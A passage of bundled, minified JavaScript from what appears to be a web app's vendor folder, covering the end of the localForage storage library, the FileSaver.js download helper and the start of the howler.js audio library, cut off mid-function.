1076 function G(e) {
1077 var t = this,
1078 n = new ce(function(e, n) {
1079 t.ready().then(function() {
1080 var r = t._dbInfo;
1081 r.db.transaction(function(t) {
1082 t.executeSql("SELECT key FROM " + r.storeName, [], function(t, n) {
1083 for (var r = [], o = 0; o < n.rows.length; o++) r.push(n.rows.item(o).key);
1084 e(r)
1085 }, function(e, t) {
1086 n(t)
1087 })
1088 })
1089 }).catch(n)
1090 });
1091 return i(n, e), n
1092 }
1093
1094 function X(e) {
1095 var t = this,
1096 n = {};
1097 if (e)
1098 for (var r in e) n[r] = e[r];
1099 return n.keyPrefix = n.name + "/", n.storeName !== t._defaultConfig.storeName && (n.keyPrefix += n.storeName + "/"), t._dbInfo = n, n.serializer = xe, ce.resolve()
1100 }
1101
1102 function H(e) {
1103 var t = this,
1104 n = t.ready().then(function() {
1105 for (var e = t._dbInfo.keyPrefix, n = localStorage.length - 1; n >= 0; n--) {
1106 var r = localStorage.key(n);
1107 0 === r.indexOf(e) && localStorage.removeItem(r)
1108 }
1109 });
1110 return i(n, e), n
1111 }
1112
1113 function J(e, t) {
1114 var n = this;
1115 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1116 var r = n.ready().then(function() {
1117 var t = n._dbInfo,
1118 r = localStorage.getItem(t.keyPrefix + e);
1119 return r && (r = t.serializer.deserialize(r)), r
1120 });
1121 return i(r, t), r
1122 }
1123
1124 function K(e, t) {
1125 var n = this,
1126 r = n.ready().then(function() {
1127 for (var t = n._dbInfo, r = t.keyPrefix, o = r.length, i = localStorage.length, a = 1, u = 0; u < i; u++) {
1128 var c = localStorage.key(u);
1129 if (0 === c.indexOf(r)) {
1130 var f = localStorage.getItem(c);
1131 if (f && (f = t.serializer.deserialize(f)), void 0 !== (f = e(f, c.substring(o), a++))) return f
1132 }
1133 }
1134 });
1135 return i(r, t), r
1136 }
1137
1138 function V(e, t) {
1139 var n = this,
1140 r = n.ready().then(function() {
1141 var t, r = n._dbInfo;
1142 try {
1143 t = localStorage.key(e)
1144 } catch (e) {
1145 t = null
1146 }
1147 return t && (t = t.substring(r.keyPrefix.length)), t
1148 });
1149 return i(r, t), r
1150 }
1151
1152 function Y(e) {
1153 var t = this,
1154 n = t.ready().then(function() {
1155 for (var e = t._dbInfo, n = localStorage.length, r = [], o = 0; o < n; o++) 0 === localStorage.key(o).indexOf(e.keyPrefix) && r.push(localStorage.key(o).substring(e.keyPrefix.length));
1156 return r
1157 });
1158 return i(n, e), n
1159 }
1160
1161 function Z(e) {
1162 var t = this.keys().then(function(e) {
1163 return e.length
1164 });
1165 return i(t, e), t
1166 }
1167
1168 function $(e, t) {
1169 var n = this;
1170 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1171 var r = n.ready().then(function() {
1172 var t = n._dbInfo;
1173 localStorage.removeItem(t.keyPrefix + e)
1174 });
1175 return i(r, t), r
1176 }
1177
1178 function ee(e, t, n) {
1179 var r = this;
1180 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1181 var o = r.ready().then(function() {
1182 void 0 === t && (t = null);
1183 var n = t;
1184 return new ce(function(o, i) {
1185 var a = r._dbInfo;
1186 a.serializer.serialize(t, function(t, r) {
1187 if (r) i(r);
1188 else try {
1189 localStorage.setItem(a.keyPrefix + e, t), o(n)
1190 } catch (e) {
1191 "QuotaExceededError" !== e.name && "NS_ERROR_DOM_QUOTA_REACHED" !== e.name || i(e), i(e)
1192 }
1193 })
1194 })
1195 });
1196 return i(o, n), o
1197 }
1198
1199 function te(e, t) {
1200 e[t] = function() {
1201 var n = arguments;
1202 return e.ready().then(function() {
1203 return e[t].apply(e, n)
1204 })
1205 }
1206 }
1207
1208 function ne() {
1209 for (var e = 1; e < arguments.length; e++) {
1210 var t = arguments[e];
1211 if (t)
1212 for (var n in t) t.hasOwnProperty(n) && (Pe(t[n]) ? arguments[0][n] = t[n].slice() : arguments[0][n] = t[n])
1213 }
1214 return arguments[0]
1215 }
1216
1217 function re(e) {
1218 for (var t in Te)
1219 if (Te.hasOwnProperty(t) && Te[t] === e) return !0;
1220 return !1
1221 }
1222 var oe = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) {
1223 return typeof e
1224 } : function(e) {
1225 return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e
1226 },
1227 ie = function() {
1228 try {
1229 if ("undefined" != typeof indexedDB) return indexedDB;
1230 if ("undefined" != typeof webkitIndexedDB) return webkitIndexedDB;
1231 if ("undefined" != typeof mozIndexedDB) return mozIndexedDB;
1232 if ("undefined" != typeof OIndexedDB) return OIndexedDB;
1233 if ("undefined" != typeof msIndexedDB) return msIndexedDB
1234 } catch (e) {}
1235 }();
1236 "undefined" == typeof Promise && e(3);
1237 var ae, ue, ce = Promise,
1238 fe = "local-forage-detect-blob-support",
1239 se = Object.prototype.toString,
1240 le = "readonly",
1241 de = "readwrite",
1242 ve = {
1243 _driver: "asyncStorage",
1244 _initStorage: I,
1245 iterate: A,
1246 getItem: E,
1247 setItem: D,
1248 removeItem: j,
1249 clear: O,
1250 length: B,
1251 key: R,
1252 keys: k
1253 },
1254 he = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
1255 ye = "~~local_forage_type~",
1256 pe = /^~~local_forage_type~([^~]+)~/,
1257 be = "__lfsc__:",
1258 ge = be.length,
1259 me = "arbf",
1260 _e = "blob",
1261 we = "si08",
1262 Se = "ui08",
1263 Ie = "uic8",
1264 Ee = "si16",
1265 Ae = "si32",
1266 De = "ur16",
1267 je = "ui32",
1268 Oe = "fl32",
1269 Be = "fl64",
1270 Re = ge + me.length,
1271 ke = Object.prototype.toString,
1272 xe = {
1273 serialize: C,
1274 deserialize: L,
1275 stringToBuffer: x,
1276 bufferToString: N
1277 },
1278 Ne = {
1279 _driver: "webSQLStorage",
1280 _initStorage: T,
1281 iterate: z,
1282 getItem: F,
1283 setItem: P,
1284 removeItem: q,
1285 clear: U,
1286 length: W,
1287 key: Q,
1288 keys: G
1289 },
1290 Ce = {
1291 _driver: "localStorageWrapper",
1292 _initStorage: X,
1293 iterate: K,
1294 getItem: J,
1295 setItem: ee,
1296 removeItem: $,
1297 clear: H,
1298 length: Z,
1299 key: V,
1300 keys: Y
1301 },
1302 Le = {},
1303 Te = {
1304 INDEXEDDB: "asyncStorage",
1305 LOCALSTORAGE: "localStorageWrapper",
1306 WEBSQL: "webSQLStorage"
1307 },
1308 Fe = ["clear", "getItem", "iterate", "key", "keys", "length", "removeItem", "setItem"],
1309 ze = {
1310 description: "",
1311 driver: [Te.INDEXEDDB, Te.WEBSQL, Te.LOCALSTORAGE].slice(),
1312 name: "localforage",
1313 size: 4980736,
1314 storeName: "keyvaluepairs",
1315 version: 1
1316 },
1317 Me = {};
1318 Me[Te.INDEXEDDB] = function() {
1319 try {
1320 if (!ie) return !1;
1321 var e = "undefined" != typeof openDatabase && /(Safari|iPhone|iPad|iPod)/.test(navigator.userAgent) && !/Chrome/.test(navigator.userAgent) && !/BlackBerry/.test(navigator.platform),
1322 t = "function" == typeof fetch && -1 !== fetch.toString().indexOf("[native code");
1323 return (!e || t) && "undefined" != typeof indexedDB && "undefined" != typeof IDBKeyRange
1324 } catch (e) {
1325 return !1
1326 }
1327 }(), Me[Te.WEBSQL] = function() {
1328 return "function" == typeof openDatabase
1329 }(), Me[Te.LOCALSTORAGE] = function() {
1330 try {
1331 return "undefined" != typeof localStorage && "setItem" in localStorage && localStorage.setItem
1332 } catch (e) {
1333 return !1
1334 }
1335 }();
1336 var Pe = Array.isArray || function(e) {
1337 return "[object Array]" === Object.prototype.toString.call(e)
1338 },
1339 qe = new(function() {
1340 function e(t) {
1341 r(this, e), this.INDEXEDDB = Te.INDEXEDDB, this.LOCALSTORAGE = Te.LOCALSTORAGE, this.WEBSQL = Te.WEBSQL, this._defaultConfig = ne({}, ze), this._config = ne({}, this._defaultConfig, t), this._driverSet = null, this._initDriver = null, this._ready = !1, this._dbInfo = null, this._wrapLibraryMethodsWithReady(), this.setDriver(this._config.driver).catch(function() {})
1342 }
1343 return e.prototype.config = function(e) {
1344 if ("object" === (void 0 === e ? "undefined" : oe(e))) {
1345 if (this._ready) return new Error("Can't call config() after localforage has been used.");
1346 for (var t in e) {
1347 if ("storeName" === t && (e[t] = e[t].replace(/\W/g, "_")), "version" === t && "number" != typeof e[t]) return new Error("Database version must be a number.");
1348 this._config[t] = e[t]
1349 }
1350 return !("driver" in e && e.driver) || this.setDriver(this._config.driver)
1351 }
1352 return "string" == typeof e ? this._config[e] : this._config
1353 }, e.prototype.defineDriver = function(e, t, n) {
1354 var r = new ce(function(t, n) {
1355 try {
1356 var r = e._driver,
1357 o = new Error("Custom driver not compliant; see https://mozilla.github.io/localForage/#definedriver"),
1358 i = new Error("Custom driver name already in use: " + e._driver);
1359 if (!e._driver) return void n(o);
1360 if (re(e._driver)) return void n(i);
1361 for (var a = Fe.concat("_initStorage"), u = 0; u < a.length; u++) {
1362 var c = a[u];
1363 if (!c || !e[c] || "function" != typeof e[c]) return void n(o)
1364 }
1365 var f = function(n) {
1366 Me[r] = n, Le[r] = e, t()
1367 };
1368 "_support" in e ? e._support && "function" == typeof e._support ? e._support().then(f, n) : f(!!e._support) : f(!0)
1369 } catch (e) {
1370 n(e)
1371 }
1372 });
1373 return a(r, t, n), r
1374 }, e.prototype.driver = function() {
1375 return this._driver || null
1376 }, e.prototype.getDriver = function(e, t, n) {
1377 var r = this,
1378 o = ce.resolve().then(function() {
1379 if (!re(e)) {
1380 if (Le[e]) return Le[e];
1381 throw new Error("Driver not found.")
1382 }
1383 switch (e) {
1384 case r.INDEXEDDB:
1385 return ve;
1386 case r.LOCALSTORAGE:
1387 return Ce;
1388 case r.WEBSQL:
1389 return Ne
1390 }
1391 });
1392 return a(o, t, n), o
1393 }, e.prototype.getSerializer = function(e) {
1394 var t = ce.resolve(xe);
1395 return a(t, e), t
1396 }, e.prototype.ready = function(e) {
1397 var t = this,
1398 n = t._driverSet.then(function() {
1399 return null === t._ready && (t._ready = t._initDriver()), t._ready
1400 });
1401 return a(n, e, e), n
1402 }, e.prototype.setDriver = function(e, t, n) {
1403 function r() {
1404 u._config.driver = u.driver()
1405 }
1406
1407 function o(e) {
1408 return u._extend(e), r(), u._ready = u._initStorage(u._config), u._ready
1409 }
1410
1411 function i(e) {
1412 return function() {
1413 function t() {
1414 for (; n < e.length;) {
1415 var i = e[n];
1416 return n++, u._dbInfo = null, u._ready = null, u.getDriver(i).then(o).catch(t)
1417 }
1418 r();
1419 var a = new Error("No available storage method found.");
1420 return u._driverSet = ce.reject(a), u._driverSet
1421 }
1422 var n = 0;
1423 return t()
1424 }
1425 }
1426 var u = this;
1427 Pe(e) || (e = [e]);
1428 var c = this._getSupportedDrivers(e),
1429 f = null !== this._driverSet ? this._driverSet.catch(function() {
1430 return ce.resolve()
1431 }) : ce.resolve();
1432 return this._driverSet = f.then(function() {
1433 var e = c[0];
1434 return u._dbInfo = null, u._ready = null, u.getDriver(e).then(function(e) {
1435 u._driver = e._driver, r(), u._wrapLibraryMethodsWithReady(), u._initDriver = i(c)
1436 })
1437 }).catch(function() {
1438 r();
1439 var e = new Error("No available storage method found.");
1440 return u._driverSet = ce.reject(e), u._driverSet
1441 }), a(this._driverSet, t, n), this._driverSet
1442 }, e.prototype.supports = function(e) {
1443 return !!Me[e]
1444 }, e.prototype._extend = function(e) {
1445 ne(this, e)
1446 }, e.prototype._getSupportedDrivers = function(e) {
1447 for (var t = [], n = 0, r = e.length; n < r; n++) {
1448 var o = e[n];
1449 this.supports(o) && t.push(o)
1450 }
1451 return t
1452 }, e.prototype._wrapLibraryMethodsWithReady = function() {
1453 for (var e = 0; e < Fe.length; e++) te(this, Fe[e])
1454 }, e.prototype.createInstance = function(t) {
1455 return new e(t)
1456 }, e
1457 }());
1458 t.exports = qe
1459 }, {
1460 3: 3
1461 }]
1462}, {}, [4])(4)
1463});
1464//os/vendor/FileSaver.js
1465var saveAs = saveAs || function(e) {
1466"use strict";
1467if ("undefined" == typeof navigator || !/MSIE [1-9]\./.test(navigator.userAgent)) {
1468 var t = e.document,
1469 n = function() {
1470 return e.URL || e.webkitURL || e
1471 },
1472 o = t.createElementNS("http://www.w3.org/1999/xhtml", "a"),
1473 r = "download" in o,
1474 i = function(n) {
1475 var o = t.createEvent("MouseEvents");
1476 o.initMouseEvent("click", !0, !1, e, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), n.dispatchEvent(o)
1477 },
1478 a = e.webkitRequestFileSystem,
1479 c = e.requestFileSystem || a || e.mozRequestFileSystem,
1480 f = function(t) {
1481 (e.setImmediate || e.setTimeout)(function() {
1482 throw t
1483 }, 0)
1484 },
1485 u = 0,
1486 s = function(t) {
1487 var o = function() {
1488 "string" == typeof t ? n().revokeObjectURL(t) : t.remove()
1489 };
1490 e.chrome ? o() : setTimeout(o, 500)
1491 },
1492 d = function(e, t, n) {
1493 for (var o = (t = [].concat(t)).length; o--;) {
1494 var r = e["on" + t[o]];
1495 if ("function" == typeof r) try {
1496 r.call(e, n || e)
1497 } catch (e) {
1498 f(e)
1499 }
1500 }
1501 },
1502 l = function(e) {
1503 return /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(e.type) ? new Blob(["", e], {
1504 type: e.type
1505 }) : e
1506 },
1507 p = function(t, f) {
1508 var p, v, w, y = this,
1509 m = (t = l(t)).type,
1510 S = !1,
1511 h = function() {
1512 d(y, "writestart progress write writeend".split(" "))
1513 },
1514 O = function() {
1515 !S && p || (p = n().createObjectURL(t)), v ? v.location.href = p : void 0 == e.open(p, "_blank") && "undefined" != typeof safari && (e.location.href = p), y.readyState = y.DONE, h(), s(p)
1516 },
1517 E = function(e) {
1518 return function() {
1519 if (y.readyState !== y.DONE) return e.apply(this, arguments)
1520 }
1521 },
1522 R = {
1523 create: !0,
1524 exclusive: !1
1525 };
1526 if (y.readyState = y.INIT, f || (f = "download"), r) return p = n().createObjectURL(t), o.href = p, o.download = f, i(o), y.readyState = y.DONE, h(), void s(p);
1527 e.chrome && m && "application/octet-stream" !== m && (w = t.slice || t.webkitSlice, t = w.call(t, 0, t.size, "application/octet-stream"), S = !0), a && "download" !== f && (f += ".download"), ("application/octet-stream" === m || a) && (v = e), c ? (u += t.size, c(e.TEMPORARY, u, E(function(e) {
1528 e.root.getDirectory("saved", R, E(function(e) {
1529 var n = function() {
1530 e.getFile(f, R, E(function(e) {
1531 e.createWriter(E(function(n) {
1532 n.onwriteend = function(t) {
1533 v.location.href = e.toURL(), y.readyState = y.DONE, d(y, "writeend", t), s(e)
1534 }, n.onerror = function() {
1535 var e = n.error;
1536 e.code !== e.ABORT_ERR && O()
1537 }, "writestart progress write abort".split(" ").forEach(function(e) {
1538 n["on" + e] = y["on" + e]
1539 }), n.write(t), y.abort = function() {
1540 n.abort(), y.readyState = y.DONE
1541 }, y.readyState = y.WRITING
1542 }), O)
1543 }), O)
1544 };
1545 e.getFile(f, {
1546 create: !1
1547 }, E(function(e) {
1548 e.remove(), n()
1549 }), E(function(e) {
1550 e.code === e.NOT_FOUND_ERR ? n() : O()
1551 }))
1552 }), O)
1553 }), O)) : O()
1554 },
1555 v = p.prototype,
1556 w = function(e, t) {
1557 return new p(e, t)
1558 };
1559 return "undefined" != typeof navigator && navigator.msSaveOrOpenBlob ? function(e, t) {
1560 return navigator.msSaveOrOpenBlob(l(e), t)
1561 } : (v.abort = function() {
1562 var e = this;
1563 e.readyState = e.DONE, d(e, "abort")
1564 }, v.readyState = v.INIT = 0, v.WRITING = 1, v.DONE = 2, v.error = v.onwritestart = v.onprogress = v.onwrite = v.onabort = v.onerror = v.onwriteend = null, w)
1565}
1566}("undefined" != typeof self && self || "undefined" != typeof window && window || this.content);
1567"undefined" != typeof module && module.exports ? module.exports.saveAs = saveAs : "undefined" != typeof define && null !== define && null != define.amd && define([], function() {
1568return saveAs
1569});
1570//os/vendor/howler.js
1571! function() {
1572var e = {},
1573 o = null,
1574 n = !0,
1575 t = !1;
1576try {
1577 "undefined" != typeof AudioContext ? o = new AudioContext : "undefined" != typeof webkitAudioContext ? o = new webkitAudioContext : n = !1
1578} catch (e) {
1579 n = !1
1580}
1581if (!n)
1582 if ("undefined" != typeof Audio) try {
1583 new Audio
1584 } catch (e) {
1585 t = !0
1586 } else t = !0;
1587if (n) {
1588 var r = void 0 === o.createGain ? o.createGainNode() : o.createGain();
1589 r.gain.value = 1, r.connect(o.destination)
1590}
1591var a = function(e) {
1592 this._volume = 1, this._muted = !1, this.usingWebAudio = n, this.ctx = o, this.noAudio = t, this._howls = [], this._codecs = e, this.iOSAutoEnable = !0
1593};
1594a.prototype = {
1595 volume: function(e) {
1596 var o = this;
1597 if ((e = parseFloat(e)) >= 0 && e <= 1) {
1598 o._volume = e, n && (r.gain.value = e);
1599 for (var t in o._howls)
1600 if (o._howls.hasOwnProperty(t) && !1 === o._howls[t]._webAudio)
1601 for (var a = 0; a < o._howls[t]._audioNode.length; a++) o._howls[t]._audioNode[a].volume = o._howls[t]._volume * o._volume;
1602 return o
1603 }
1604 return n ? r.gain.value : o._volume
1605 },
1606 mute: function() {
1607 return this._setMuted(!0), this
1608 },
1609 unmute: function() {
1610 return this._setMuted(!1), this
1611 },
1612 _setMuted: function(e) {
1613 var o = this;
1614 o._muted = e, n && (r.gain.value = e ? 0 : o._volume);
1615 for (var t in o._howls)
1616 if (o._howls.hasOwnProperty(t) && !1 === o._howls[t]._webAudio)
1617 for (var a = 0; a < o._howls[t]._audioNode.length; a++) o._howls[t]._audioNode[a].muted = e
1618 },
1619 codecs: function(e) {
1620 return this._codecs[e]
1621 },
1622 _enableiOSAudio: function() {
1623 var e = this;
1624 if (!o || !e._iOSEnabled && /iPhone|iPad|iPod/i.test(navigator.userAgent)) {
1625 e._iOSEnabled = !1;
1626 var n = function() {
1627 var t = o.createBuffer(1, 1, 22050),
1628 r = o.createBufferSource();
1629 r.buffer = t, r.connect(o.destination), void 0 === r.start ? r.noteOn(0) : r.start(0), setTimeout(function() {
1630 r.playbackState !== r.PLAYING_STATE && r.playbackState !== r.FINISHED_STATE || (e._iOSEnabled = !0, e.iOSAutoEnable = !1, window.removeEventListener("touchstart", n, !1))
1631 }, 0)
1632 };
1633 return window.addEventListener("touchstart", n, !1), e
1634 }
1635 }
1636};
1637var i = null,
1638 u = {};
1639t || (i = new Audio, u = {
1640 mp3: !!i.canPlayType("audio/mpeg;").replace(/^no$/, ""),
1641 opus: !!i.canPlayType('audio/ogg; codecs="opus"').replace(/^no$/, ""),
1642 ogg: !!i.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/, ""),
1643 wav: !!i.canPlayType('audio/wav; codecs="1"').replace(/^no$/, ""),
1644 aac: !!i.canPlayType("audio/aac;").replace(/^no$/, ""),
1645 m4a: !!(i.canPlayType("audio/x-m4a;") || i.canPlayType("audio/m4a;") || i.canPlayType("audio/aac;")).replace(/^no$/, ""),
1646 mp4: !!(i.canPlayType("audio/x-mp4;") || i.canPlayType("audio/mp4;") || i.canPlayType("audio/aac;")).replace(/^no$/, ""),
1647 weba: !!i.canPlayType('audio/webm; codecs="vorbis"').replace(/^no$/, "")
1648});
1649var d = new a(u),
1650 l = function(e) {
1651 var t = this;
1652 t._autoplay = e.autoplay || !1, t._buffer = e.buffer || !1, t._duration = e.duration || 0, t._format = e.format || null, t._loop = e.loop || !1, t._loaded = !1, t._sprite = e.sprite || {}, t._src = e.src || "", t._pos3d = e.pos3d || [0, 0, -.5], t._volume = void 0 !== e.volume ? e.volume : 1, t._urls = e.urls || [], t._rate = e.rate || 1, t._model = e.model || null, t._onload = [e.onload || function() {}], t._onloaderror = [e.onloaderror || function() {}], t._onend = [e.onend || function() {}], t._onpause = [e.onpause || function() {}], t._onplay = [e.onplay || function() {}], t._onendTimer = [], t._webAudio = n && !t._buffer, t._audioNode = [], t._webAudio && t._setupAudioNode(), void 0 !== o && o && d.iOSAutoEnable && d._enableiOSAudio(), d._howls.push(t), t.load()
1653 };
1654if (l.prototype = {
1655 load: function() {
1656 var e = this,
1657 o = null;
1658 if (t) e.on("loaderror");
1659 else {
1660 for (var n = 0; n < e._urls.length; n++) {
1661 var r, i;
1662 if (e._format) r = e._format;
1663 else {
1664 if (i = e._urls[n], (r = /^data:audio\/([^;,]+);/i.exec(i)) || (r = /\.([^.]+)$/.exec(i.split("?", 1)[0])), !r) return void e.on("loaderror");
1665 r = r[1].toLowerCase()
1666 }
1667 if (u[r]) {
1668 o = e._urls[n];
1669 break
1670 }
1671 }
1672 if (o) {
1673 if (e._src = o, e._webAudio) f(e, o);
1674 else {
1675 var l = new Audio;
1676 l.addEventListener("error", function() {
1677 l.error && 4 === l.error.code && (a.noAudio = !0), e.on("loaderror", {
1678 type: l.error ? l.error.code : 0
1679 })
1680 }, !1), e._audioNode.push(l), l.src = o, l._pos = 0, l.preload = "auto", l.volume = d._muted ? 0 : e._volume * d.volume();
1681 var _ = function() {
1682 e._duration = Math.ceil(10 * l.duration) / 10, 0 === Object.getOwnPropertyNames(e._sprite).length && (e._sprite = {
1683 _default: [0, 1e3 * e._duration]
1684 }), e._loaded || (e._loaded = !0, e.on("load")), e._autoplay && e.play(), l.removeEventListener("canplaythrough", _, !1)
1685 };
1686 l.addEventListener("canplaythrough", _, !1), l.load()
1687 }
1688 return e
1689 }
1690 e.on("loaderror")
1691 }
1692 },
1693 urls: function(e) {
1694 var o = this;
1695 return e ? (o.stop(), o._urls = "string" == typeof e ? [e] : e, o._loaded = !1, o.load(), o) : o._urls
1696 },
1697 play: function(e, n) {
1698 var t = this;
1699 return "function" == typeof e && (n = e), e && "function" != typeof e || (e = "_default"), t._loaded ? t._sprite[e] ? (t._inactiveNode(function(r) {
1700 r._sprite = e;
1701 var a = r._pos > 0 ? r._pos : t._sprite[e][0] / 1e3,
1702 i = 0;
1703 t._webAudio ? (i = t._sprite[e][1] / 1e3 - r._pos, r._pos > 0 && (a = t._sprite[e][0] / 1e3 + a)) : i = t._sprite[e][1] / 1e3 - (a - t._sprite[e][0] / 1e3);
1704 var u, l = !(!t._loop && !t._sprite[e][2]),
1705 f = "string" == typeof n ? n : Math.round(Date.now() * Math.random()) + "";
1706 if (function() {
1707 var o = {
1708 id: f,
1709 sprite: e,
1710 loop: l
1711 };
1712 u = setTimeout(function() {
1713 !t._webAudio && l && t.stop(o.id).play(e, o.id), t._webAudio && !l && (t._nodeById(o.id).paused = !0, t._nodeById(o.id)._pos = 0, t._clearEndTimer(o.id)), t._webAudio || l || t.stop(o.id), t.on("end", f)
1714 }, 1e3 * i), t._onendTimer.push({
1715 timer: u,
1716 id: o.id
1717 })
1718 }(), t._webAudio) {
1719 var _ = t._sprite[e][0] / 1e3,
1720 s = t._sprite[e][1] / 1e3;
1721 r.id = f, r.paused = !1, c(t, [l, _, s], f), t._playStart = o.currentTime, r.gain.value = t._volume, void 0 === r.bufferSource.start ? l ? r.bufferSource.noteGrainOn(0, a, 86400) : r.bufferSource.noteGrainOn(0, a, i) : l ? r.bufferSource.start(0, a, 86400) : r.bufferSource.start(0, a, i)
1722 } else {
1723 if (4 !== r.readyState && (r.readyState || !navigator.isCocoonJS)) return t._clearEndTimer(f),
1724 function() {
1725 var o = t,
1726 a = e,
1727 i = n,
1728 u = r,
1729 d = function() {
1730 o.play(a, i), u.removeEventListener("canplaythrough", d, !1)
1731 };
1732 u.addEventListener("canplaythrough", d, !1)
1733 }(), t;
1734 r.readyState = 4, r.id = f, r.currentTime = a, r.muted = d._muted || r.muted, r.volume = t._volume * d.volume(), setTimeout(function() {
1735 r.play()
1736 }, 0)
1737 }
1738 return t.on("play"), "function" == typeof n && n(f), t
1739 }), t) : ("function" == typeof n && n(), t) : (t.on("load", function() {
1740 t.play(e, n)
1741 }), t)
1742 },
1743 pause: function(e) {
1744 var o = this;
1745 if (!o._loaded) return o.on("play", function() {
1746 o.pause(e)
1747 }), o;
1748 o._clearEndTimer(e);
1749 var n = e ? o._nodeById(e) : o._activeNode();
1750 if (n)
1751 if (n._pos = o.pos(null, e), o._webAudio) {
1752 if (!n.bufferSource || n.paused) return o;
1753 n.paused = !0, void 0 === n.bufferSource.stop ? n.bufferSource.noteOff(0) : n.bufferSource.stop(0)
1754 } else n.pause();
1755 return o.on("pause"), o
1756 },
1757 stop: function(e) {
1758 var o = this;
1759 if (!o._loaded) return o.on("play", function() {
1760 o.stop(e)
1761 }), o;
1762 o._clearEndTimer(e);
1763 var n = e ? o._nodeById(e) : o._activeNode();
1764 if (n)
1765 if (n._pos = 0, o._webAudio) {
1766 if (!n.bufferSource || n.paused) return o;
1767 n.paused = !0, void 0 === n.bufferSource.stop ? n.bufferSource.noteOff(0) : n.bufferSource.stop(0)
1768 } else isNaN(n.duration) || (n.pause(), n.currentTime = 0);
1769 return o
1770 },
1771 mute: function(e) {
1772 var o = this;
1773 if (!o._loaded) return o.on("play", function() {
1774 o.mute(e)
1775 }), o;
1776 var n = e ? o._nodeById(e) : o._activeNode();
1777 return n && (o._webAudio ? n.gain.value = 0 : n.muted = !0), o
1778 },
1779 unmute: function(e) {
1780 var o = this;
1781 if (!o._loaded) return o.on("play", function() {
1782 o.unmute(e)
1783 }), o;
1784 var n = e ? o._nodeById(e) : o._activeNode();
1785 return n && (o._webAudio ? n.gain.value = o._volume : n.muted = !1), o
1786 },
1787 volume: function(e, o) {
1788 var n = this;
1789 if ((e = parseFloat(e)) >= 0 && e <= 1) {
1790 if (n._volume = e, !n._loaded) return n.on("play", function() {
1791 n.volume(e, o)
1792 }), n;
1793 var t = o ? n._nodeById(o) : n._activeNode();
1794 return t && (n._webAudio ? t.gain.value = e : t.volume = e * d.volume()), n
1795 }
1796 return n._volume
1797 },
1798 loop: function(e) {
1799 var o = this;
1800 return "boolean" == typeof e ? (o._loop = e, o) : o._loop
1801 },
1802 sprite: function(e) {
1803 var o = this;
1804 return "object" == typeof e ? (o._sprite = e, o) : o._sprite
1805 },
1806 pos: function(e, n) {
1807 var t = this;
1808 if (!t._loaded) return t.on("load", function() {
1809 t.pos(e)
1810 }), "number" == typeof e ? t : t._pos || 0;
1811 e = parseFloat(e);
1812 var r = n ? t._nodeById(n) : t._activeNode();
1813 if (r) return e >= 0 ? (t.pause(n), r._pos = e, t.play(r._sprite, n), t) : t._webAudio ? r._pos + (o.currentTime - t._playStart) : r.currentTime;
1814 if (e >= 0) return t;
1815 for (var a = 0; a < t._audioNode.length; a++)
1816 if (t._audioNode[a].paused && 4 === t._audioNode[a].readyState) return t._webAudio ? t._audioNode[a]._pos : t._audioNode[a].currentTime
1817 },
1818 pos3d: function(e, o, n, t) {
1819 var r = this;
1820 if (o = void 0 !== o && o ? o : 0, n = void 0 !== n && n ? n : -.5, !r._loaded) return r.on("play", function() {
1821 r.pos3d(e, o, n, t)
1822 }), r;
1823 if (!(e >= 0 || e < 0)) return r._pos3d;
1824 if (r._webAudio) {
1825 var a = t ? r._nodeById(t) : r._activeNode();
1826 a && (r._pos3d = [e, o, n], a.panner.setPosition(e, o, n), a.panner.panningModel = r._model || "HRTF")
1827 }
1828 return r
1829 },
1830 fade: function(e, o, n, t, r) {
1831 var a = this,
1832 i = Math.abs(e - o),
1833 u = e > o ? "down" : "up",
1834 d = i / .01,
1835 l = n / d;
1836 if (!a._loaded) return a.on("load", function() {
1837 a.fade(e, o, n, t, r)
1838 }), a;
1839 a.volume(e, r);
1840 for (var f = 1; f <= d; f++) ! function() {
1841 var e = a._volume + ("up" === u ? .01 : -.01) * f,
1842 n = Math.round(1e3 * e) / 1e3,
1843 i = o;
1844 setTimeout(function() {
1845 a.volume(n, r), n === i && t && t()
1846 }, l * f)
1847 }()
1848 },
1849 fadeIn: function(e, o, n) {
1850 return this.volume(0).play().fade(0, e, o, n)
1851 },
1852 fadeOut: function(e, o, n, t) {
1853 var r = this;
1854 return r.fade(r._volume, e, o, function() {
1855 n && n(), r.pause(t), r.on("end")
1856 }, t)
1857 },
1858 _nodeById: function(e) {
1859 for (var o = this, n = o._audioNode[0], t = 0; t < o._audioNode.length; t++)
1860 if (o._audioNode[t].id === e) {
1861 n = o._audioNode[t];
1862 break
1863 }
1864 return n
1865 },
1866 _activeNode: function() {
1867 for (var e = this, o = null, n = 0; n < e._audioNode.length; n++)
1868 if (!e._audioNode[n].paused) {
1869 o = e._audioNode[n];
1870 break
1871 }
1872 return e._drainPool(), o
1873 },
1874 _inactiveNode: function(e) {
1875 for (var o = this, n = null, t = 0; t < o._audioNode.length; t++)
1876 if (o._audioNode[t].paused && 4 === o._audioNode[t].readyState) {
1877 e(o._audioNode[t]), n = !0;
1878 break
1879 }
1880 if (o._drainPool(), !n) {
1881 var r;
1882 if (o._webAudio) r = o._setupAudioNode(), e(r);
1883 else {
1884 o.load(), r = o._audioNode[o._audioNode.length - 1];
1885 var a = navigator.isCocoonJS ? "canplaythrough" : "loadedmetadata",
1886 i = function() {
1887 r.removeEventListener(a, i, !1), e(r)
1888 };
1889 r.addEventListener(a, i, !1)
1890 }
1891 }
1892 },
1893 _drainPool: function() {
1894 var e, o = this,
1895 n = 0;
1896 for (e = 0; e < o._audioNode.length; e++) o._audioNode[e].paused && n++;
1897 for (e = o._audioNode.length - 1; e >= 0 && !(n <= 5); e--) o._audioNode[e].paused && (o._webAudio && o._audioNode[e].disconnect(0), n--, o._audioNode.splice(e, 1))
1898 },
1899 _clearEndTimer: function(e) {
1900 for (var o = this, n = 0, t = 0; t < o._onendTimer.length; t++)
1901 if (o._onendTimer[t].id === e) {
1902 n = t;
1903 break
1904 }
